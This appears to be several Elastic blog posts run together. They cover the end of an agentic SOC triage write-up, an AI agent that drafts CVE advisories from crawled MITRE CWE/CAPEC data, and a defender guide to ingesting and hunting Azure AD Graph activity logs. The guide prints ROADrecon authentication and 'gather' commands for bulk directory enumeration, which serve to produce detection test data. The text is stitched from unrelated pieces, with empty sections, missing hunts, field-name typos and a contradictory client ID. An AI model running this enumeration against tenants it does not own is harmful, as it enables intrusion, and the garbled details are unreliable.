5. Build a Final Review agent that reads the case. Its only job is to interpret what the Specialized agents found and render a final assessment and report. Giving it access to the case and no other tools keeps it grounded in evidence and prevents it from hallucinating or going off on its own investigation.

Alert triage in under 3 minutes: the bottom line

The agentic SOC pipeline turns 30-minute manual alert triage into under 3 minutes of automated investigation. Every alert that reaches an analyst already comes with a full investigation and a recommended action, so the analyst's time goes toward deciding what to do, not toward gathering the context to decide.

Deterministic ES|QL triage closes the false positives that have clear, queryable patterns at zero token cost. The Initial Triage agent closes the next layer at around 50k tokens. Anything that survives gets a full investigation from the Specialized agents and a synthesis report from the Final Review agent before an analyst ever opens the alert.

We built the entire pipeline on Elastic's native stack: Elastic Workflows for orchestration, Agent Builder for the agents, the Elastic Inference Service for inference, and Kibana Cases as the shared investigation workspace. No third-party automation platforms, no separate orchestrators, and inference routed through providers documented with zero data retention. If you want to build something similar, the Agent Builder and Workflows documentation are the right starting points. If you are not already running Elastic Security, you can start a free trial to explore both.

We would like to hear what you build. The Elastic Security community forum is a good place to share what you have tried and ask questions.

Companion post:

• Part 2: choosing the right agent architecture for a 5× cost reduction

How security advisories are drafted manually (and why it's slow)

At Elastic, we manage the lifecycle of product vulnerabilities using the PSIRT Service Framework, which defines four stages: discovery, triage, remediation, and disclosure. Each security advisory starts from a vulnerability report received during the discovery phase, and those reports vary widely in quality — translating them into something customers can consume is time-consuming. We draft the security advisory during the disclosure phase, ahead of a planned product release that contains the fix. The advisory is then published as an Elastic Security Advisory (ESA), with an assigned CVE ID, in the Elastic Security Announcements forum, where anyone can review the disclosed vulnerabilities and the associated mitigations.

Each disclosure also gets published into the CVE Program, from which downstream national and regional databases ingest it automatically, including the US National Vulnerability Database (NIST), the EU's European Vulnerability Database (ENISA), and Japan's Japan Vulnerability Notes (JPCERT/CC).

To keep our output consistent, we follow the standard Common Vulnerabilities and Exposures (CVE) description template:

[PROBLEMTYPE] in [COMPONENT] in [VENDOR] [PRODUCT] [VERSION] on [PLATFORMS] allows [ATTACKER] to [IMPACT] via [VECTOR]

The PROBLEMTYPE is identified using a Common Weakness Enumeration (CWE) entry, and the Vector is described using a Common Attack Pattern Enumeration and Classification (CAPEC) entry.

Substituting the correct CWE and CAPEC for each vulnerability, the template becomes:

[Common Weakness Enumeration] in [COMPONENT] in [VENDOR] [PRODUCT] [VERSION] on [PLATFORMS] allows [ATTACKER] to [IMPACT] via [Common Attack Pattern Enumeration and Classification]

The bulk of the manual effort goes into distilling a long, often technically dense vulnerability report into a concise, accurate advisory with a clear impact assessment for customers. Identifying the correct CWE and CAPEC classifications on top of that makes the process convoluted and drawn-out. This is where automation has the most to offer.

Automating security advisory drafts with Elastic Agent Builder and RAG

To streamline this process, our InfoSec Product Security Team developed a solution that uses an LLM to automatically generate the standardized sentence for security advisories. This solution involves two key steps:

1. Ingesting vulnerability categorization data: Hallucination is a well-documented failure mode for LLMs operating without authoritative grounding. The OWASP Top 10 for LLM Applications (LLM09) lists it as a top risk category, and it was the original motivation for Retrieval-Augmented Generation. We saw it directly in our early experiments: when asked to assign CWE and CAPEC IDs unaided, the model frequently produced plausible-looking but non-existent entries. To prevent this, we used the Elastic Crawler to scrape the CWE and CAPEC websites and ingest the data into two Elasticsearch indices: web-crawl-mitre-cwe-software and web-crawl-mitre-capec-software.

2. Building the generative AI agent: We used the Elastic Agent Builder to create a custom agent that uses an LLM to generate the advisory text based on the ingested data.

Step 1: Indexing MITRE CWE and CAPEC data in Elasticsearch

The first step was to get the CWE and CAPEC data into Elasticsearch. For this, we spun up an Elastic Serverless instance, noted the connection details, and generated an API key. We then created the configs for Elastic Crawler to visit the MITRE websites and extract the relevant information. The same crawler configurations are run on a continuous schedule, so the indices stay current as MITRE publishes new CWE and CAPEC entries. That keeps the agent's grounded data fresh without manual intervention.

CWE crawler configuration

Here is the configuration for CWE data used to ground our AI agent in authoritative vulnerability data. The crawler seeds from CWE's software weaknesses view, follows links matching the /data/definitions/ pattern, and extracts structured fields from each weakness page, including descriptions, mitigations, consequences, and observed examples ready for semantic search or RAG pipelines.

# CWE Crawler Configuration (crawl-config-mitre-cwe.yml)

output_sink: elasticsearch
output_index: web-crawl-mitre-cwe-software

elasticsearch:
  host: "YOUR_ELASTIC_URL"
  port: 443
  api_key: "YOUR_API_KEY"
  pipeline_enabled: false

domains:
  - url: https://cwe.mitre.org
    seed_urls:
      - https://cwe.mitre.org/data/definitions/699.html

    extraction_rulesets:
      - url_filters:
          - type: "regex"
            pattern: "/data/definitions/[0-9]+\\.html"
        rules:
          # 1. Capture the Full URL in a custom field
          - action: "extract"
            field_name: "cwe_source_url"
            selector: ".*" # Match everything in the URL
            join_as: "string"
            source: "url"

          # 2. Extract Just the ID Number from the URL (e.g., 79)
          - action: "extract"
            field_name: "cwe_id"
            selector: "definitions/([0-9]+)" # Capturing group isolates the digits
            join_as: "string"
            source: "url"

          # 3. Full Title
          - action: "extract"
            field_name: "cwe_full_title"
            selector: "h2"
            join_as: "string"
            source: "html"

          # 4. Description Section
          - action: "extract"
            field_name: "description"
            selector: "#Description .detail"
            join_as: "string"
            source: "html"

          # 5. Extended Description
          - action: "extract"
            field_name: "extended_description"
            selector: "#Extended_Description .detail"
            join_as: "string"
            source: "html"

          # 6. Alternate Terms (Array)
          - action: "extract"
            field_name: "alternate_terms"
            selector: "#Alternate_Terms .detail tr"
            join_as: "array"
            source: "html"

          # 7. Common Consequences (Array)
          - action: "extract"
            field_name: "common_consequences"
            selector: "#Common_Consequences .detail tr"
            join_as: "array"
            source: "html"

          # 8. Potential Mitigations (Array)
          - action: "extract"
            field_name: "potential_mitigations"
            selector: "#Potential_Mitigations .detail tr"
            join_as: "array"
            source: "html"

          # 9. Background Details
          - action: "extract"
            field_name: "background_details"
            selector: "#Background_Details .detail"
            join_as: "string"
            source: "html"

          # 10. Modes of Introduction (Array)
          - action: "extract"
            field_name: "modes_of_introduction"
            selector: "#Modes_Of_Introduction .detail tr"
            join_as: "array"
            source: "html"

          # 11. Applicable Platforms (Array)
          - action: "extract"
            field_name: "applicable_platforms"
            selector: "#Applicable_Platforms .detail tr"
            join_as: "array"
            source: "html"

          # 12. Likelihood of Exploit
          - action: "extract"
            field_name: "likelihood_of_exploit"
            selector: "#Likelihood_Of_Exploit .detail"
            join_as: "string"
            source: "html"

          # 13. Demonstrative Examples
          - action: "extract"
            field_name: "demonstrative_examples"
            selector: "#Demonstrative_Examples .detail"
            join_as: "string"
            source: "html"

          # 14. Observed Examples (Array)
          - action: "extract"
            field_name: "observed_examples"
            selector: "#Observed_Examples .detail tr"
            join_as: "array"
            source: "html"

          # 15. Taxonomy Mappings (Array)
          - action: "extract"
            field_name: "taxonomy_mappings"
            selector: "#Taxonomy_Mappings .detail tr"
            join_as: "array"
            source: "html"

          # 16. Related Attack Patterns (Array)
          - action: "extract"
            field_name: "related_attack_patterns"
            selector: "#Related_Attack_Patterns .detail tr"
            join_as: "array"
            source: "html"

          # 17. References (Array)
          - action: "extract"
            field_name: "references"
            selector: "#References .detail tr"
            join_as: "array"
            source: "html"

    crawl_rules:
      - policy: allow
        type: begins
        pattern: "/data/definitions/"
      - policy: deny
        type: contains
        pattern: "/history"
      - policy: deny
        type: regex
        pattern: .*

CAPEC crawler configuration

We apply the same approach for the MITRE CAPEC catalog, seeding from the Software attack patterns view and extracting structured fields from each pattern page, including attack descriptions, execution flow, prerequisites, required skills, and mitigations, all indexed into Elasticsearch alongside the CWE data.

# CAPEC Crawler Configuration (crawl-config-mitre-capec-software.yml)
output_sink: elasticsearch
output_index: web-crawl-mitre-capec-software

elasticsearch:
  host: "YOUR_ELASTIC_URL"
  port: 443
  api_key: "YOUR_API_KEY"
  pipeline_enabled: false

domains:
  - url: https://capec.mitre.org
    seed_urls:
      - https://capec.mitre.org/data/definitions/513.html # The "Software" Category View

    extraction_rulesets:
      - url_filters:
          - type: "regex"
            pattern: "/data/definitions/[0-9]+\\.html"
        rules:
          # 1. Capture the Full Source URL
          - action: "extract"
            field_name: "capec_source_url"
            selector: ".*"
            join_as: "string"
            source: "url"

          # 2. CAPEC ID (isolates just the number from the URL, e.g., 63)
          - action: "extract"
            field_name: "capec_id"
            selector: "definitions/([0-9]+)"
            join_as: "string"
            source: "url"

          # 3. Full Title (e.g., CAPEC-63: Cross-Site Scripting)
          - action: "extract"
            field_name: "capec_full_title"
            selector: "h2"
            join_as: "string"
            source: "html"

          # 4. Description Section
          - action: "extract"
            field_name: "description"
            selector: "#Description .indent"
            join_as: "string"
            source: "html"

          # 5. Likelihood Of Attack
          - action: "extract"
            field_name: "likelihood_of_attack"
            selector: "#Likelihood_Of_Attack .detail"
            join_as: "string"
            source: "html"

          # 6. Typical Severity
          - action: "extract"
            field_name: "typical_severity"
            selector: "#Typical_Severity .detail"
            join_as: "string"
            source: "html"

          # 7. Relationships (Array of table rows)
          - action: "extract"
            field_name: "relationships"
            selector: "#Relationships .tabledetail tr"
            join_as: "array"
            source: "html"

          # 8. Execution Flow
          - action: "extract"
            field_name: "execution_flow"
            selector: "#Execution_Flow .detail"
            join_as: "string"
            source: "html"

          # 9. Prerequisites
          - action: "extract"
            field_name: "prerequisites"
            selector: "#Prerequisites .detail tr"
            join_as: "array"
            source: "html"

          # 10. Skills Required
          - action: "extract"
            field_name: "skills_required"
            selector: "#Skills_Required .detail tr"
            join_as: "array"
            source: "html"

          # 11. Resources Required
          - action: "extract"
            field_name: "resources_required"
            selector: "#Resources_Required .detail tr"
            join_as: "array"
            source: "html"

          # 12. Mitigations
          - action: "extract"
            field_name: "mitigations"
            selector: "#Mitigations .detail tr"
            join_as: "array"
            source: "html"

          # 13. Example Instances
          - action: "extract"
            field_name: "example_instances"
            selector: "#Example_Instances .detail"
            join_as: "string"
            source: "html"

          # 14. Related Weaknesses (CWE Mappings)
          - action: "extract"
            field_name: "related_weaknesses"
            selector: "#Related_Weaknesses .tabledetail tr"
            join_as: "array"
            source: "html"

          # 15. Taxonomy Mappings
          - action: "extract"
            field_name: "taxonomy_mappings"
            selector: "#Taxonomy_Mappings .tabledetail tr"
            join_as: "array"
            source: "html"

          # 16. References
          - action: "extract"
            field_name: "references"
            selector: "#References .detail tr"
            join_as: "array"
            source: "html"

    crawl_rules:
      # Allow the seed page and any pattern definition
      - policy: allow
        type: begins
        pattern: "/data/definitions/"

      # Deny navigational noise
      - policy: deny
        type: contains
        pattern: "/history"
      - policy: deny
        type: regex
        pattern: .*

With the crawler configurations set up, we then ran the following docker run commands to initiate two containers for running the data crawling process on each catalog:

This command launches the CWE crawler.

docker run --rm \
  -v "$(pwd)":/config \
  -it docker.elastic.co/integrations/crawler:latest jruby \
  bin/crawler crawl /config/crawl-config-mitre-cwe.yml

This command launches the CAPEC crawler.

docker run --rm \
  -v "$(pwd)":/config \
  -it docker.elastic.co/integrations/crawler:latest jruby \
  bin/crawler crawl /config/crawl-config-mitre-capec-software.yml

Now that both containers have successfully run, we can see they have crawled the webpages and indexed both CWE and CAPEC data (example output below). We're ready to proceed to the next step.

---- Crawl Stats ----
- Pages visited: 575
- URLs allowed: 574
- URLs denied
  - Already seen: 2817
  - Domain filter: 9936
- Crawl duration (seconds): 146
- Crawling time (seconds): 106.245
- Average response time (seconds): 0.18477391304347826

---- Elasticsearch Ingestion Stats ----
- Completed
  - Documents upserted: 574
  - Volume (bytes): 9626811
- Failed
  - Number of documents that failed to index: 0
  - Volume (bytes): 0

Step 2: Building the security advisory AI agent

With the CWE and CAPEC catalogues indexed in Elasticsearch, the next step was to build an agent that could draw on them to draft the security advisory text — CWE for the root cause, CAPEC for the attack methodology. We used the Elastic Agent Builder to create a custom agent using Claude Opus, which consistently produced accurate security advisory text and template adherence.

What tools Elastic Agent Builder agent uses

Grounding in CWE and CAPEC data

Three tools form the core of the RAG loop, letting the agent find and retrieve authoritative classification data from our indexed catalogues:

• platform.core.search — Elasticsearch full-text and structured search. The primary lookup when the agent is searching for candidate CWE or CAPEC entries that match a given vulnerability.

• platform.core.get_document_by_id — retrieves a full document by index and ID. Once search has narrowed candidates, this pulls the complete CWE or CAPEC record so the agent reasons against every structured field — description, mitigations, observed examples, related patterns — and not just a search snippet.

• platform.core.execute_esql — executes an ES|QL query and returns tabular results. Used when the agent needs more precise filtering than full-text search can deliver.

Index and schema discovery

Two index and schema discovery tools let the agent figure out what data is available rather than relying on hard-coded names in the prompt:

• platform.core.list_indices — lists the indices, aliases, and data streams the current user can access. Useful when the agent needs to confirm what indices exist before constructing a query.

• platform.core.get_index_mapping — retrieves mappings for a specific index. Lets the agent see the available fields before writing a query against them.

• platform.core.index_explorer — natural-language index discovery. The agent can ask "which index holds the CWE catalogue?" and get back a ranked list with mappings, without that being baked into the prompt.

Product-specific context

When the agent populates the Affected Configurations and Solutions and Mitigations sections of the advisory, it needs to verify feature defaults and deployment-specific behaviour against authoritative sources rather than guessing:

• platform.core.product_documentation — searches Elastic product documentation across the stack.

• code.search_kibana_code, code.search_kibana_documentation, and code.fetch_kibana_documentation — Kibana-specific source and documentation access, exercised when the advisory involves Kibana. These give the agent access to the code itself, not just the published docs, which matters for confirming subtle behaviours that the documentation doesn't always spell out.

Fallback retrieval capabilities

• documentation.tavily_extract — a defensive backstop that fetches the canonical MITRE page directly. With continuous crawling in place, the indexed catalogues stay current, so this rarely fires; it's there to ensure the agent isn't blocked.

The tools aren't called in a free-form order. The prompt instructs the agent to exhaust the indexed catalogue first — platform.core.search to find candidates, then platform.core.get_document_by_id to retrieve the full record, before falling back to the external retrieval tool. That ordering matters: it prevents the agent from silently substituting unverified external content for data we've explicitly grounded against.

How we tuned the system prompt for accurate advisory generation

The prompt itself is where most of the iteration went. Several behaviours we built in are worth calling out, because each came from something we saw the agent do that we didn't want repeated:

• Memory-safety verification. Early in testing, the agent suggested memory-corruption CWEs (e.g., CWE-119) for vulnerabilities in our Go-based Beats, which don't apply in a memory-safe language. The prompt was tuned so that it now detects the affected component's language and forbids memory-corruption CWEs and CAPECs whenever the language is Go, Rust, Java, TypeScript, or another memory-safe runtime.

• Minimum disclosure checklist. Advisories should describe vulnerabilities without producing a proof-of-concept. A checklist in the prompt scans the draft for function names, file paths, endpoint paths, parameter names, port numbers, and similar implementation details, replacing them with abstract equivalents ("a specific internal component," "a user-supplied input field") before the draft is finalised.

• CAPEC is methodology, not consequence. CAPEC can be wrongly chosen as an impact ("Denial of Service") rather than attack technique ("Resource Exhaustion"). The prompt explicitly forbids that anti-pattern and tells the agent to omit the CAPEC entirely if no entry accurately describes the methodology — accuracy over completeness.

• "Never ask, always produce." The agent is instructed to draft a complete advisory from whatever input it receives, using its own judgment for fields the input doesn't cover, rather than coming back to the operator with clarifying questions. The operator always gets a full draft to review.

• CVSS scoring guardrails. Some scoring patterns don't translate well across products, such as log shippers shouldn't be scored Attack Vector: Network unless internet-facing exploitation is explicitly demonstrated. Privilege levels also map directly to Elastic's built-in roles in the prompt: any authenticated role such as viewer or editor → Privileges Required: Low; admin-level roles such as superuser, kibana_admin, or ingest_admin → Privileges Required: High.

• Serverless. Elastic Cloud Serverless patches continuously, so advisories for products with a Serverless offering carry a specific block confirming the vulnerability was already remediated there before public disclosure.

Handling first-party and third-party vulnerabilities

Not every vulnerability is a first-party Elastic bug. Some are issues in third-party dependencies — language runtimes, libraries, transitive packages. The prompt handles both cases with different templates: a first-party path that maps to a CWE + CAPEC pair, and a dependency path keyed off CWE-1395 (Dependency on Vulnerable Third-Party Component) that links to the upstream CVE(s) and dependency name. The dependency path also gives the agent access to documentation.tavily_search to pull upstream advisory context, while first-party vulnerabilities stay grounded only in our indexed CWE/CAPEC catalogues.

What the agent outputs: draft advisory and reasoning

The agent's response is always two parts: the draft security advisory, and a separate Reasoning section. The Reasoning forces the agent to justify each choice — which CWE was selected and why, which CAPEC was selected (or why none applied), what privileges are required to exploit the issue, and a one-sentence justification for every CVSS metric. The Disclosure Checklist that strips implementation details from the public-facing security advisory deliberately does not apply to the Reasoning section, so the reviewer sees the agent's full thinking, not the abstracted version. That gives the reviewer what they need: they read the Reasoning, decide whether the analysis is sound, then make the call on the advisory text.

Elastic Security Advisory Generator

We built the agent in Agent Builder and named it the Elastic Security Advisory Generator, a custom agent with the tools and prompt described above. The screenshot below shows it configured in the Agent Builder UI, with the model, wired-up tools, and system prompt all in place:

The excerpt below is a publish-safe version of the prompt that drives the agent. We've omitted the full production prompt, which contains implementation-specific instructions and internal operational detail not needed to understand the design. To review it, see this public GitHub repository.

## ROLE & OBJECTIVE

You are the Elastic Security Advisory Generator. Your task is to classify Elastic-specific vulnerabilities against approved industry taxonomies and draft a consistent public-facing security advisory.

Your goal is to produce a concise advisory that is accurate, reviewable, and grounded in authoritative source material, while minimizing unnecessary disclosure of exploit-enabling implementation detail.

---

## CORE BEHAVIOR

Produce a complete first draft from the information available in the vulnerability report.

- Use user-provided facts when they are present.
- Use approved internal reference data and product documentation to fill in missing context.
- Use best-effort judgment for non-critical narrative fields that are not explicitly provided.
- Leave placeholders only for identifiers that may genuinely be unavailable at draft time, such as the advisory number, CVE number, or final fixed version.

---

## INTAKE

Extract as many of the following fields as possible from the report:

1. Product name
2. Advisory identifier
3. CVE identifier
4. Fixed version or release
5. Affected versions
6. Deployment or configuration context

Include a Serverless remediation note only when the affected product has a Serverless offering or when applicability has been separately confirmed.

---

## GROUNDING AND SAFETY RULES

1. Use authoritative taxonomy data and product documentation as the primary sources of truth.
2. Prefer grounded retrieval over model inference when choosing weakness and attack-pattern classifications.
3. Keep the public advisory focused on what the issue is, who is affected, and how customers should respond.
4. Remove or generalize details that would make exploitation easier, including specific internal component names, file paths, endpoint paths, parameter names, port numbers, stack traces, and infrastructure identifiers.
5. For dependency vulnerabilities, include upstream dependency and CVE context only when that information is necessary to explain exposure.

---

## CLASSIFICATION GUARDRAILS

Before selecting taxonomy entries, identify the likely implementation language of the affected component.

- If the component is implemented in a memory-safe language, avoid memory-corruption classifications unless the report clearly indicates native-code involvement or low-level memory-corruption behavior.
- Select weakness classifications based on root cause.
- Select attack-pattern classifications based on methodology, not impact.
- If no attack-pattern entry accurately describes the method, omit it rather than forcing a weak match.

---

## MITIGATIONS AND SEVERITY

- Confirm affected configurations, deployment defaults, and workaround viability against product documentation before stating them.
- Distinguish between self-managed and hosted or managed deployment guidance when the mitigations differ.
- Produce only a draft CVSS assessment and justify each metric from the report details rather than from the vulnerability label alone.

---

## OUTPUT FORMAT

Return two clearly separated sections:

1. The Advisory
  - Subject line
  - One-line summary
  - Affected versions
  - Affected configurations
  - Solutions and mitigations
  - Indicators of compromise, when applicable
  - Serverless note, when applicable
  - Severity, CVE, problem type, and impact

2. Reasoning
  - Language assessment and safety guardrails applied
  - Rationale for selected taxonomy entries
  - Privilege assumptions
  - Draft CVSS metric reasoning

The public-facing advisory should stay high level. The Reasoning section may retain the additional context needed for internal validation.

The result: faster, consistent CVE advisory drafts

To use the agent, we take a security report (typically from our bug bounty programme) and paste the content into the Agent Builder conversation window. That content is usually free-form: a vulnerability description, the affected component and version, reproduction steps, and the researcher's view of impact.

The agent performs RAG against the CWE and CAPEC indices, applies the rules and guardrails in the prompt, and produces the two-part output described above: a draft security advisory, and a Reasoning section explaining its choices.

Before the draft is put forward for publication, the Product Security reviewer works through a short validation pass:

• Confirm CWE and CAPEC selections against MITRE. The Reasoning section names the entries chosen and why. The reviewer verifies that each ID matches the official MITRE entry and that the selection lines up with the actual vulnerability.

• Sanity-check the CVSS metric reasoning. The Reasoning lays out a one-sentence justification per metric. The reviewer challenges anything that doesn't follow from the report.

• Scan for any over or under sharing. The disclosure checklist strips implementation details and replaces them with abstract language. The reviewer scans the Advisory for any specifics that may have slipped through, and equally for anything that should be included but has not been. The paragraph should be enough to understand the issue without being a proof-of-concept.

• Verify Affected Configurations and Mitigations sections. The agent reads from product documentation to formulate the "Affected Configurations" and "Mitigations" sections. These sections go to the engineering team that owns the product for verification before the advisory is published — only they have ground truth on feature defaults and whether a stated workaround actually works on the affected releases.

The CVSS score is explicitly labelled draft in the agent's output — the Engineering team responsible for the product and the InfoSec Product Security team sign off on the final score before publication. In practice most drafts need light editing rather than rewriting; the agent gets the structure right, and the reviewer is checking judgment calls and product-specific behaviour.

The example output below is what the agent produced for ESA-2026-01, an advisory we published for Metricbeat.

What's next: closing the loop with Elastic Workflows

Combining generative AI with RAG against authoritative MITRE catalogues has turned what used to be a manual, time-consuming task into a consistent and faster part of our advisory process. The pipeline is already producing drafts that go to production — ESA-2026-01, shown above, is one example.

The biggest win is the slowest part of the old process: taking a long vulnerability report — often varying in quality and dense with technical detail — and distilling it into a concise, accurate advisory with a clear impact assessment for customers. That distillation, along with the CVE templating, CWE/CAPEC mapping, and CVSS metric reasoning, is now drafted by the agent. Our team's effort goes into the parts that need human judgment: product-specific behaviour and impact scoring.

The next step is closing the loop end-to-end. Today, the agent is invoked manually; an analyst pastes the vulnerability report into the conversation window. We want to wire this into the triage step itself, using something like Elastic Workflows: once a vulnerability is confirmed and accepted for disclosure, the workflow invokes the agent automatically and produces a draft advisory. From there, InfoSec and Engineering collaborate on a single document, replacing the manual hand-offs between triage, drafting, and review.

What made this work was the combination of stable, authoritative data to ground the agent against and a strict review step. Both matter. The same pattern can apply to any structured drafting task with a defined output template and a trustworthy data source. To learn more about building your own generative AI solutions with Elastic, check out the Elastic Agent Builder documentation.

This post walks the loop end-to-end. Why visibility matters, how to ingest the logs into Elastic, how to generate realistic recon manually and with ROADrecon, and how to hunt the result in ES|QL. Everything below was validated against a live tenant.

Key takeaways

• AAD Graph Activity Logs ride into Elastic through the Azure integration and land in logs-azure.aadgraphactivitylogs-* with full ECS extraction.

• ROADtools, AADInternals, and friends have been operating in a visibility gap for years. Defenders weren't capturing the calls.

• AAD Graph is "deprecated" but still queryable in most tenants. The 1.61-internal API version still returns data that Microsoft Graph won't.

• ECS fields land typed (event.action, event.outcome, http.request.method, source.ip, user.id, user_agent.original). Dataset extras stay queryable under azure.aadgraphactivitylogs.properties.*.

• Five hunts reliably catch the activity: tooling user-agents, endpoint breadth, *-internal API misuse, FOCI client-ID mismatches, and 4xx surges.

A short history of defender visibility

Defenders have spent years on sign-ins, conditional access, role assignments, and OAuth consent grants. Very little content covers the underlying directory APIs that adversary tooling actually hits. The reason is structural: customer-accessible logs for those APIs didn't exist. Microsoft Graph Activity Logs landed first (preview October 2023, GA April 2024). AzureADGraphActivityLogs finally showed up in early 2026.

For most of the past decade, AAD Graph enumeration was invisible to SOCs, not because the telemetry was hidden, but because it didn't exist. ROADtools, AADInternals, MSOLSpray, Microburst. None of them produced data that anyone could capture, even with a perfect logging configuration.

That changes the day AzureADGraphActivityLogs start landing in your platform-logs index.

AAD Graph is “deprecated” but still very much alive

Quick refresher. Azure AD Graph is the legacy REST API for Entra ID directory objects, hosted at https://graph.windows.net/{tenantId}/{objecttype} with API versions like 1.5, 1.6, and 1.61-internal. Microsoft has been telling everyone to migrate to Microsoft Graph since 2019, and the retirement date has slipped several times.

Deprecation isn’t gone. In 2026, AAD Graph can still answer requests in environments where legacy access paths remain available or where applications have not been explicitly blocked from using it. A few reasons it sticks around as an attacker target:

• Adversary tooling hasn't been ported. ROADrecon still uses it for gather. AADInternals has dozens of cmdlets wrapping it.

• The *-internal API versions return more data. 1.61-internal exposes strongAuthenticationDetail inline on the user object during a normal directory walk. The Microsoft Graph equivalent lives behind a separate /authentication/methods endpoint gated by UserAuthenticationMethod.Read.All. That asymmetry is exactly what bulk enumeration tooling exploits.

• The block isn't a single toggle. The blockAzureADGraphAccess control lives per-app on application.authenticationBehaviors, so blocking tenant-wide means iterating every app registration. Most environments haven't done that because some legacy automation still depends on the API. Microsoft's phased retirement enforcement does the work on Microsoft's timeline, not the defender's.

• Visibility did not exist, thus red teamers and adversaries could hammer the API endpoints for relevant information.

Legitimate AAD Graph traffic is dominated by a handful of first-party Microsoft callers. In our test tenant, the order, by volume, was Microsoft.OData.Client, Microsoft Azure Graph Client Library, an empty-UA tail from first-party AppIds, Microsoft ADO.NET Data Services, and the Azure portal (Chrome UAs against the portal app ID). Anything outside that recognisable set is either internal tooling or unauthorized activity. That makes it a solid threat hunting/detection dataset. If you're capturing it.

Setting up the ingestion pipeline

If you're already running the Elastic Azure integration with diagnostic settings forwarding to an event hub, skim this section. You probably just need to enable one extra log category. From scratch, it's about a 20-minute path.

Step 1: A stack to receive the logs

Any Elastic deployment works. An Elastic Cloud trial is the lowest-friction option for prototyping. Another option is the Elastic Container Project for getting started. The Azure integration already handles AzureADGraphActivityLogs once it's enabled.

Step 2: Add the Azure integration

In Kibana, Integrations > Azure Logs > Add Azure Logs. Plug in your Event Hub connection string, the Event Hub name, and a Storage account for offset checkpointing, all on an event hub in the same subscription as your tenant.

Enable the Azure logs v2 data stream specifically. That's the entry point for AAD Graph Activity Logs. The events router matches category == "AzureADGraphActivityLogs" and reroutes documents to logs-azure.aadgraphactivitylogs-*, where the dataset pipeline applies full ECS extraction.

We've also broken Azure AD Graph Activity Logs out into its own integration item, so you can search for "Azure AD Graph Activity Logs" and install via the policy template directly.

Step 3: Enable diagnostic settings on Entra ID

This is the step most defenders miss. AzureADGraphActivityLogs as a diagnostic-settings category is newer. Even if your Entra ID diagnostic settings have been configured for a while now, the new category needs a fresh tick. Otherwise, the data lives and dies in Microsoft's tenant boundary.

In the Azure portal:

1. Entra ID > Monitoring > Diagnostic settings > + Add diagnostic setting.
2. Name it.
3. Under Logs, check AzureADGraphActivityLogs. While you're there, MicrosoftGraphActivityLogs, SignInLogs, and AuditLogs are worth turning on if they aren't already. The integration handles all of them.
4. Under Destination details, Stream to an event hub (the same one from step 2).
5. Save.

Step 4: Verify data is flowing

Within a few minutes, you should start seeing events. Fastest sanity check:

FROM logs-azure.aadgraphactivitylogs-*
| LIMIT 20

If documents come back with a populated event.action, http.request.method, and zure.aadgraphactivitylogs.properties.* fields, you're good. If nothing shows up, the usual suspects are a forgotten event hub permission, a typo in the connection string, or the AAD Graph category just not being ticked.

To force a few events, sign in to the Azure portal and click around Users or Applications. The portal still calls AAD Graph internally for some object details. If that doesn't generate anything, this curl loop will:

TOKEN=$(az account get-access-token --resource https://graph.windows.net --query accessToken -o tsv)
TID=$(az account show --query tenantId -o tsv)
for obj in users groups servicePrincipals applications tenantDetails; do
  curl -sS -o /dev/null -H "Authorization: Bearer $TOKEN" \
    "https://graph.windows.net/$TID/$obj?api-version=1.6&\$top=5"
done

Field shape

Once data is flowing, properties land as typed, top-level fields. The ones that matter for hunting:

• ECS, populated directly: event.action (a semantic verb derived from method + collection, e.g., users-read, batch-execute), event.outcome, event.duration, http.request.method, http.response.status_code, source.ip, and source.geo.*, user.id, user_agent.original (plus parsed sub-fields), url.path, azure.tenant_id, cloud.service.name = "Azure AD Graph".
• Dataset-specific under zure.aadgraphactivitylogs.properties.*: app_id,, app_id, api_version, actor_type, roles, scopes, wids, identity_provider, client_auth_method, sign_in_activity_id, token_issued_at.
• related.user gets both user.id and properties.app_id, so pivots on the OAuth-client dimension work alongside the user pivot.

Raw JSON stays in event.original for forensic replay. You shouldn't need to reach into it for normal hunting. If you do, ES|QL's JSON_EXTRACT() is the lever.

AAD Graph enumeration with ROADrecon

To know what to hunt, you need to know what the activity looks like. The two toolkits below are the most common sources of AAD Graph traffic in red team and security research workflows. I ran both against our testing tenant.

Note: I take no responsibility for misuse of this code. Run these tools only against tenants you own or have explicit written authorization to test.

ROADrecon: Bulk enumeration test

ROADrecon is the data-collection module of ROADtools, Dirk-jan Mollema's Entra ID research framework. Highly recommended if you haven't used it. gather walks every interesting object type in the directory (users, groups, service principals, applications, devices, directory roles, role assignments, eligible role assignments, OAuth2 permission grants, administrative units) and writes the result to SQLite.

Setup is the standard workflow:

pip install roadrecon
roadrecon auth --device-code -c 04b07795-8ddb-461a-bbee-02f9e1bf7b46 -r https://graph.windows.net

The device-code flow hands you a URL and a code. We use the Microsoft Azure CLI as the default (1b730954-1685-4b74-9bfd-dac224a7b894 - AAD PowerShell), which returned 403s in our tenant. After signing in:

roadrecon gather

Running roadrecon gather with the resulting token completed cleanly. From the tenant's perspective, the run produced just over ~2,000 AAD Graph calls and logs in roughly 1 minute. Bulk enumeration across every object type ROADrecon knows.

From this, we can form some initial detections to start flagging these anomalies.

Key fields for AAD Graph threat detection

Before the hunts, here are some solid starting fields for detecting anomalies.

Detection and prevention

Detection

The prerequisite for any AAD Graph detection is having the logs in the first place. The AzureADGraphActivityLogs diagnostic category needs to be enabled in Entra ID and routed to a destination you can query (at minimum a Log Analytics workspace, ideally also forwarded to an event hub for Elastic ingestion as described in the setup section above). Until that's done, the calls described in this post happen entirely off-camera, and none of the hunts below will fire.

If you can't ingest into Elastic right now, enable the diagnostic setting anyway and send to Log Analytics. The KQL equivalents of the hunts below are straightforward, and the data accumulates with retention even without further processing.

Prevention

There's no single tenant-wide AAD Graph kill-switch in the portal. The actual application-layer control is:

• application.authenticationBehaviors.blockAzureADGraphAccess

A per-app Boolean on the application resource (Microsoft Graph beta, docs). Blocking at scale means walking through every app registration and flipping it manually or programmatically. Microsoft's own phased retirement is doing this on their timeline regardless. The further along that gets, the less surface there is to defend.

Defenders can move on the same axes in the meantime:

• Audit applications in your tenant that still hold tokens for graph.windows.net. Set blockAzureADGraphAccess = true on the ones that don't need it. Anything still depending on AAD Graph breaks loudly, which surfaces legacy automation you didn't know you had.

• Apply Conditional Access with Azure AD Graph as a target resource. The Azure AD Graph service principal (00000002-0000-0000-c000-000000000000) doesn't show in the standard CA app picker, but it's covered by All resources policies and is individually targetable via the custom security attribute filter approach. Microsoft's March 2026 enforcement change makes this more practical: low-privilege scopes (User.Read, People.Read, etc.) that used to be auto-excluded from CA enforcement are now treated as AAD Graph access, so all resource policies actually gate them. CA evaluates at token issuance, so already-valid tokens keep working until expiry.

